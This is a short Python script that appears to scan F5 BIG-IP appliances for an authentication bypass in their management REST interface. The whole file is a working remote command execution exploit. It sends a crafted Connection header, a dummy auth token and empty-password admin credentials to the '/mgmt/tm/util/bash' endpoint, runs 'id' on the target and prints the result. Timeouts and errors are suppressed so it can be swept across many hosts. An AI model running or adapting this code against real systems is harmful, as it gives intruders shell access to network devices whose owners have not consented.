from colorama import Fore
import requests 
import json
import urllib3

headers = {
    "User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36',
    'Content-Type': 'application/json',
    'Connection': 'keep-alive, x-F5-Auth-Token',
    'X-F5-Auth-Token': 'abc',
    'Authorization': 'Basic YWRtaW46'
}
data = {'command': "run",'utilCmdArgs':"-c id"}

def scan_vuln(target: str):
    try:
        response = requests.post(url=f"{target}/mgmt/tm/util/bash", json=data, headers=headers, verify=False, timeout=5)
        if response.status_code == 200 and 'commandResult' in response.text:
            default = json.loads(response.text)
            display = default['commandResult']
            print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} F5-BIG-IP Vulnerable: {Fore.GREEN}{target}/mgmt/tm/util/bash")
            print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} Results: {Fore.GREEN}{display}")
    except requests.exceptions.SSLError:
        pass
    except urllib3.exceptions.MaxRetryError:
        pass
    except requests.exceptions.ConnectTimeout:
        pass
    except requests.exceptions.ReadTimeout:
        pass
    except requests.exceptions.ConnectionError:
        pass